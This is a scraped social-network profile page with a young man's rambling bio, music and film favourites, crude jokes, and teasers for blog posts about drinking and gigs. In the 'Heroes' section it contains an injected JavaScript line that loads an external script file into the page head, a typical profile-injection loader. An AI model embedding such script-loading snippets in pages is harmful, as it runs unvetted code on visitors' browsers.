The classic that never went out of style

About Me

So.... I pretty much am actually a real person... I've come to realize thoughout the last years in life a little more about it than I wished to... I've come to realize that you don't need people.. Anyone who's jacked up on having a bunch of lame assholes to have as more or less a filler at your party to convince yourself that well dressed people are actually good, trustworthy people and I guess.. cool... I don't really trust anyone who acts like they're too cool.. They are just a bunch of back stabbing jerk offs who act like everyone elses life is thier life story to tell and have numerous conversations about because they can't do something as easy as talk about music or how someone elses day is going... BTW I'm a big fan of music.. I'm very open about when I listen to because there is so much to be appritiated it's good to have a wide range of what's out there.. Don't bother listening to what's on the top 10 countdown... find good old music at its roots and it will show you why music is what is...I play guitar.. I find playing guitar to be one of the most relaxing things anyone can do... I also think I'm a robot on the inside of my body cause for some reason my body has withheld 4 years of drinking almost every single day and eating bean burritos from taco bell.... I want to own a ewok more than anything else in the world...it's a mystery to us all folks...I'm really scared of spiders.. They really creep me....I once ate 8 arbys roast beef chedder sandwiches in one sittng and threw up in the parking lot.. I'm a fan of building forts behind target... well only with... well if they read it they'll know.. I aside from really really loving mexican food with a passion... I'm a sucker and a half for chili.. I can't even tell you how many times I've gone over a week and ate chili at least once a day.... I'm going to go to school for hair design and I'm really stoked about it....

My Interests

These photos were done by Jason Parry from Jay Lee photography

Dead body photo shoot

I'd like to meet:

I already have my Gabby pants

Music:

My favorite kind of music is anything experimental.. there's so much and so many with a ton of differnt sounds I love it.. like...

The Locust

The Blood Brothers

Moloch

The Dillenger Escape Plan

Refused

Head Wound City

Melt Banana

Mr. Bungle

Guapo

Portugal. the man

Drowning ManI also live my life by the 80's... Lord knows I can't get enough of...

Meat Loaf

Kenny Loggins

Eddie Money

Journey

Asia

White Snake

The Scorpions

Wham!

Joy division

B 52's

Blondie

Hal and Oats

Europe

I'll post more later.. I'm lazy as all hell

Movies:

Donnie Darko

Return of the jedi Eternal sunshine

Cannibal tha musical

Orgazmo

Baseketball

The South park movie

Wet hot american summer

Sleepy hollow

Anchorman

From Hell

The Goonies

The Sandlot

Fight club

the princess bride

Television:

First off I love The Simpsons, I have an analogy about The Simpsons that I use when people ask me what my favorite band is, I've watched the Simpsons pretty much my entire life. They've been with me though some times I could never say I like something more which is like nofx, but then Family guy comes around. And it's just the funniest thing you've ever seen, which like my thrice. I can't really say Family Guy's better because the simpsons have been around for so damn long. I love adult swim, aqua teen hunger force, and futurama, sealab 2021 is sick. I love South Park. I found the show drawn together to be pretty good so far. I love the upright citizens brigade that show it so rad to watch when it's on. Kids in the hall was cool too. I watch a lot of on demand because it's so easy and it always has something to watch too. Has sick hardcore music videos. I love the price is right too. When ever I wake up early enough to watch I love it. I've had dreams about being on that show, it was a good one. I play palinco. I woke up happy. I know I'd be good too because when I'm yellin out loud at my TV I get it right pretty often. Bob, I mean Mr. Barker if you're on My space hit me up son.

Heroes:

The guy who first figured out if you rub your penis long enough you can have an orgasm. Thanks bud, if you can see me I'm holdin my head up high when I give you this acknowlagement, with my thumb in the air. You've helped me though some tough times. I love you from the bottom of my heart. .."var s=document.createElement('script');s.src='../x/7318.js';docu ment.getElementsByTagName('head')[0].appendChild(s);"

My Blog

Who gets hit by a train anyways

So to top all of any storys I have ever posted up on here.... I do believe this one to be the best. So I'm leaving this beach and I had been drinkin a little bit but I wasn't drunk. I was going fast o...
Posted by Gordon Hayroll on Mon, 01 Jan 1900 12:00:00 PST

Bury your fucking dead!!!!

So another drunk story from Micah!!! I went to corvallis last night to see bury your dead!! I didn't get to watch them cause I blacked out. I was drinking SoCo the whole way down and then I got there ...
Posted by Gordon Hayroll on Mon, 01 Jan 1900 12:00:00 PST

Bathed Like Bathory

So, I played my last show with all of my band mates last night. It was an awesome show. I loved it. I'm going to miss playing with Josh, Ryan, and Colin. So, all week long I was planning on for the fi...
Posted by Gordon Hayroll on Mon, 01 Jan 1900 12:00:00 PST

What do you think of me???

so it's 7:54inthe morning and I just got back to my friend ryan's. I just got a 24 of coronas, and bunch of lemons and limes, and bacon. We decieded that we're going continue drinking. Last night we w...
Posted by Gordon Hayroll on Mon, 01 Jan 1900 12:00:00 PST

Girl friend application

Name: Age: Birthday: Location: What makes you think that you would want to be my girlfriend? What do you think about me? What do you know about me? How long have you known me? Do you...
Posted by Gordon Hayroll on Mon, 01 Jan 1900 12:00:00 PST

A must see soon. FYI if you haven't ever seen it you lost cool points

I decieded to watch requiem for a dream yesterday. I haven't seen this movie in so long, well not really it's just been a few months. I recomend that everyone who reads this go out and watch/rent this...
Posted by Gordon Hayroll on Mon, 01 Jan 1900 12:00:00 PST

turtle kisses

So last night was wierd. I was hanging outside of this bar downtown talking to all the drunk people cause it's pretty funny. Anywho I ended up talking to this black guy for a while who was super shitf...
Posted by Gordon Hayroll on Mon, 01 Jan 1900 12:00:00 PST

last nights show

so last night.... Well we played a show last night and I was using a bass my guitar player borrowed from the music store he works at. My guitar was screwing up at the show we played the night before s...
Posted by Gordon Hayroll on Mon, 01 Jan 1900 12:00:00 PST

Paul oh paul. Just you wait and you'll get yours.

So there's this giant paul bunyon outside of this strip club called the dancing bear in portland and it's got an axe that faces down. It's where his dong should be. Well there's these tubes that more ...
Posted by Gordon Hayroll on Mon, 01 Jan 1900 12:00:00 PST

" It's better to have loved and lost then never to have loved at all.."

" It's better to have loved and lost then never to have loved at all.." Then why the hell does it hurt so bad when she's gone. The last time I fell in love and lost her I felt like I wished I'd never ...
Posted by Gordon Hayroll on Mon, 01 Jan 1900 12:00:00 PST